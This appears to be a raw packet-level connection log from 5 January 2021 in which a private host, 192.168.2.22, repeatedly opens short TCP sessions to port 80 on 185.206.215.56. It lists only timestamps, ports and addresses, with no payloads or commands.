Jan 5, 2021 19:06:56.764118910 CET	49293	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:56.764161110 CET	49293	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:56.812789917 CET	80	49293	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:56.918519020 CET	49294	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:56.967201948 CET	80	49294	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:56.967333078 CET	49294	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:56.973337889 CET	49294	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:57.042706966 CET	80	49294	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:57.042802095 CET	49294	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:57.105279922 CET	80	49294	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:57.143234015 CET	80	49294	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:57.143287897 CET	80	49294	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:57.143567085 CET	49294	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:57.143606901 CET	49294	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:57.193500996 CET	80	49294	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:57.291270971 CET	49295	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:57.339907885 CET	80	49295	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:57.340106010 CET	49295	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:57.346020937 CET	49295	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:57.433501005 CET	80	49295	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:57.433732033 CET	49295	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:57.495909929 CET	80	49295	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:57.532123089 CET	80	49295	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:57.532164097 CET	80	49295	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:57.532432079 CET	49295	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:57.532488108 CET	49295	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:57.581142902 CET	80	49295	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:57.686352015 CET	49296	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:57.736850977 CET	80	49296	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:57.736963987 CET	49296	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:57.742988110 CET	49296	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:57.808222055 CET	80	49296	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:57.808327913 CET	49296	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:57.886445999 CET	80	49296	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:57.910446882 CET	80	49296	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:57.910525084 CET	80	49296	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:57.910691023 CET	49296	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:57.910753965 CET	49296	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:57.959084988 CET	80	49296	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:58.055171013 CET	49297	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:58.103843927 CET	80	49297	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:58.103944063 CET	49297	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:58.107471943 CET	49297	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:58.183377028 CET	80	49297	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:58.183504105 CET	49297	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:58.261464119 CET	80	49297	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:58.291277885 CET	80	49297	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:58.291318893 CET	80	49297	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:58.291424036 CET	49297	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:58.291502953 CET	49297	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:58.340046883 CET	80	49297	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:58.445410967 CET	49298	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:58.494097948 CET	80	49298	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:58.494304895 CET	49298	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:58.499485016 CET	49298	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:58.573946953 CET	80	49298	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:58.574080944 CET	49298	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:58.636336088 CET	80	49298	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:58.677454948 CET	80	49298	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:58.677500010 CET	80	49298	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:58.677710056 CET	49298	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:58.677752972 CET	49298	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:58.726278067 CET	80	49298	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:58.863261938 CET	49299	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:58.912138939 CET	80	49299	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:58.912307978 CET	49299	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:58.918368101 CET	49299	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:58.996376038 CET	80	49299	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:58.996465921 CET	49299	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:59.074186087 CET	80	49299	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:59.104108095 CET	80	49299	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:59.104126930 CET	80	49299	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:59.104211092 CET	49299	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:59.104259014 CET	49299	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:59.152825117 CET	80	49299	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:59.258456945 CET	49300	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:59.307204008 CET	80	49300	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:59.307388067 CET	49300	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:59.313559055 CET	49300	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:59.386624098 CET	80	49300	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:59.386737108 CET	49300	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:59.464649916 CET	80	49300	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:59.474234104 CET	80	49300	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:59.474280119 CET	80	49300	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:59.474453926 CET	49300	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:59.474515915 CET	49300	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:59.524259090 CET	80	49300	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:59.634088039 CET	49301	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:59.682596922 CET	80	49301	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:59.682729959 CET	49301	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:59.687246084 CET	49301	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:59.761492968 CET	80	49301	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:59.761672974 CET	49301	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:59.824203968 CET	80	49301	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:59.847928047 CET	80	49301	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:59.848038912 CET	80	49301	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:59.848249912 CET	49301	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:59.848294020 CET	49301	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:59.897453070 CET	80	49301	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:00.003225088 CET	49302	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:00.052119970 CET	80	49302	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:00.052311897 CET	49302	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:00.058160067 CET	49302	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:00.136778116 CET	80	49302	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:00.136981964 CET	49302	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:00.214716911 CET	80	49302	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:00.228245974 CET	80	49302	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:00.228291035 CET	80	49302	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:00.228530884 CET	49302	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:00.228581905 CET	49302	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:00.277153969 CET	80	49302	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:00.396194935 CET	49303	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:00.444892883 CET	80	49303	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:00.445009947 CET	49303	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:00.450812101 CET	49303	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:00.527148008 CET	80	49303	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:00.527220011 CET	49303	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:00.605233908 CET	80	49303	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:00.618918896 CET	80	49303	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:00.618967056 CET	80	49303	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:00.619062901 CET	49303	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:00.619096041 CET	49303	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:00.668009996 CET	80	49303	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:00.771522045 CET	49304	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:00.820125103 CET	80	49304	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:00.820316076 CET	49304	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:00.828362942 CET	49304	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:00.902033091 CET	80	49304	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:00.902213097 CET	49304	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:00.964564085 CET	80	49304	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:00.993556023 CET	80	49304	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:00.993593931 CET	80	49304	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:00.993911982 CET	49304	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:00.993998051 CET	49304	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:01.042435884 CET	80	49304	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:01.156022072 CET	49305	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:01.204524994 CET	80	49305	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:01.204701900 CET	49305	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:01.210699081 CET	49305	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:01.277046919 CET	80	49305	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:01.277134895 CET	49305	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:01.356290102 CET	80	49305	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:01.363213062 CET	80	49305	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:01.363246918 CET	80	49305	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:01.363334894 CET	49305	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:01.363375902 CET	49305	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:01.412100077 CET	80	49305	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:01.521167994 CET	49306	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:01.569675922 CET	80	49306	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:01.569876909 CET	49306	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:01.575817108 CET	49306	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:01.651992083 CET	80	49306	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:01.652148962 CET	49306	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:01.714548111 CET	80	49306	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:01.750904083 CET	80	49306	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:01.750948906 CET	80	49306	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:01.751310110 CET	49306	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:01.751369953 CET	49306	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:01.800013065 CET	80	49306	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:01.920628071 CET	49307	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:01.969336033 CET	80	49307	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:01.969465017 CET	49307	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:01.975553036 CET	49307	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:02.043009996 CET	80	49307	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:02.043100119 CET	49307	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:02.107326031 CET	80	49307	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:02.132844925 CET	80	49307	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:02.132896900 CET	80	49307	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:02.133073092 CET	49307	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:02.133119106 CET	49307	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:02.181819916 CET	80	49307	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:02.282639980 CET	49308	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:02.331526995 CET	80	49308	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:02.331620932 CET	49308	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:02.334168911 CET	49308	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:02.402522087 CET	80	49308	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:02.402632952 CET	49308	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:02.464761019 CET	80	49308	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:02.488881111 CET	80	49308	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:02.488924980 CET	80	49308	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:02.489166975 CET	49308	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:02.492269993 CET	49308	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:02.540931940 CET	80	49308	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:02.640503883 CET	49309	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:02.689177990 CET	80	49309	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:02.689353943 CET	49309	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:02.695432901 CET	49309	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:02.777101040 CET	80	49309	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:02.777380943 CET	49309	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:02.855223894 CET	80	49309	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:02.863487959 CET	80	49309	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:02.863538980 CET	80	49309	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:02.863631964 CET	49309	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:02.863675117 CET	49309	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:02.912658930 CET	80	49309	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:03.026917934 CET	49310	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:03.075721025 CET	80	49310	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:03.075946093 CET	49310	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:03.081979036 CET	49310	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:03.152332067 CET	80	49310	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:03.152472973 CET	49310	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:03.214751959 CET	80	49310	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:03.240915060 CET	80	49310	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:03.240957022 CET	80	49310	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:03.241147041 CET	49310	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:03.241234064 CET	49310	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:03.290195942 CET	80	49310	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:03.382184029 CET	49311	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:03.431267023 CET	80	49311	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:03.431442976 CET	49311	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:03.437459946 CET	49311	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:03.511540890 CET	80	49311	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:03.511662960 CET	49311	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:03.574131966 CET	80	49311	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:03.601073027 CET	80	49311	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:03.601114988 CET	80	49311	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:03.601183891 CET	49311	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:03.601222038 CET	49311	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:03.651451111 CET	80	49311	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:03.762460947 CET	49312	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:03.811362982 CET	80	49312	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:03.811505079 CET	49312	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:03.817487001 CET	49312	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:03.886456966 CET	80	49312	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:03.886569023 CET	49312	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:03.964803934 CET	80	49312	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:03.979352951 CET	80	49312	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:03.979403973 CET	80	49312	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:03.979682922 CET	49312	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:03.979727030 CET	49312	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:04.028662920 CET	80	49312	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:04.135468960 CET	49313	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:04.184076071 CET	80	49313	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:04.184231997 CET	49313	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:04.190227032 CET	49313	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:04.261584044 CET	80	49313	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:04.261697054 CET	49313	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:04.323940039 CET	80	49313	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:04.351677895 CET	80	49313	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:04.351720095 CET	80	49313	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:04.351892948 CET	49313	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:04.351937056 CET	49313	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:04.400305986 CET	80	49313	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:04.499840021 CET	49314	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:04.548376083 CET	80	49314	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:04.548506975 CET	49314	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:04.554888964 CET	49314	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:04.636816978 CET	80	49314	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:04.637051105 CET	49314	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:04.714435101 CET	80	49314	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:04.731422901 CET	80	49314	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:04.731494904 CET	80	49314	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:04.731781006 CET	49314	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:04.731826067 CET	49314	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:04.780455112 CET	80	49314	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:04.891084909 CET	49315	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:04.939843893 CET	80	49315	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:04.939970016 CET	49315	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:04.946050882 CET	49315	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:05.027457952 CET	80	49315	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:05.027569056 CET	49315	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:05.105482101 CET	80	49315	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:05.124758005 CET	80	49315	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:05.124800920 CET	80	49315	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:05.124907970 CET	49315	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:05.124974012 CET	49315	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:05.174177885 CET	80	49315	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:05.279475927 CET	49316	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:05.328361034 CET	80	49316	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:05.328484058 CET	49316	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:05.334399939 CET	49316	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:05.417836905 CET	80	49316	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:05.418001890 CET	49316	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:05.495778084 CET	80	49316	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:05.505003929 CET	80	49316	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:05.505044937 CET	80	49316	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:05.505316973 CET	49316	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:05.505345106 CET	49316	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:05.554064989 CET	80	49316	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:05.655515909 CET	49317	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:05.705049992 CET	80	49317	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:05.705235004 CET	49317	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:05.711230993 CET	49317	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:05.777156115 CET	80	49317	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:05.777348042 CET	49317	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:05.855984926 CET	80	49317	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:05.862498045 CET	80	49317	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:05.862533092 CET	80	49317	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:05.862672091 CET	49317	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:05.862718105 CET	49317	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:05.911230087 CET	80	49317	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:06.002264977 CET	49318	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:06.051260948 CET	80	49318	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:06.051395893 CET	49318	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:06.056308031 CET	49318	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:06.136756897 CET	80	49318	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:06.136904001 CET	49318	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:06.215661049 CET	80	49318	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:06.254065990 CET	80	49318	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:06.254178047 CET	80	49318	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:06.254340887 CET	49318	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:06.254393101 CET	49318	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:06.303160906 CET	80	49318	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:06.401995897 CET	49319	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:06.450737953 CET	80	49319	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:06.450861931 CET	49319	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:06.456724882 CET	49319	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:06.527106047 CET	80	49319	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:06.527218103 CET	49319	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:06.605210066 CET	80	49319	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:06.617598057 CET	80	49319	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:06.617644072 CET	80	49319	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:06.617891073 CET	49319	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:06.617947102 CET	49319	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:06.666631937 CET	80	49319	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:06.767657995 CET	49320	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:06.816459894 CET	80	49320	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:06.816646099 CET	49320	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:06.823586941 CET	49320	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:06.886670113 CET	80	49320	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:06.886838913 CET	49320	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:06.964752913 CET	80	49320	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:06.974483967 CET	80	49320	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:06.974538088 CET	80	49320	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:06.974793911 CET	49320	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:06.974832058 CET	49320	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:07.023574114 CET	80	49320	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:07.129003048 CET	49321	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:07.177782059 CET	80	49321	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:07.177948952 CET	49321	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:07.184056044 CET	49321	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:07.245759964 CET	80	49321	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:07.245943069 CET	49321	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:07.324007034 CET	80	49321	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:07.346312046 CET	80	49321	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:07.346354961 CET	80	49321	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:07.346530914 CET	49321	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:07.346577883 CET	49321	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:07:07.396524906 CET	80	49321	185.206.215.56	192.168.2.22
Jan 5, 2021 19:07:07.498121977 CET	49322	80	192.168.2.22	185.206.215.56
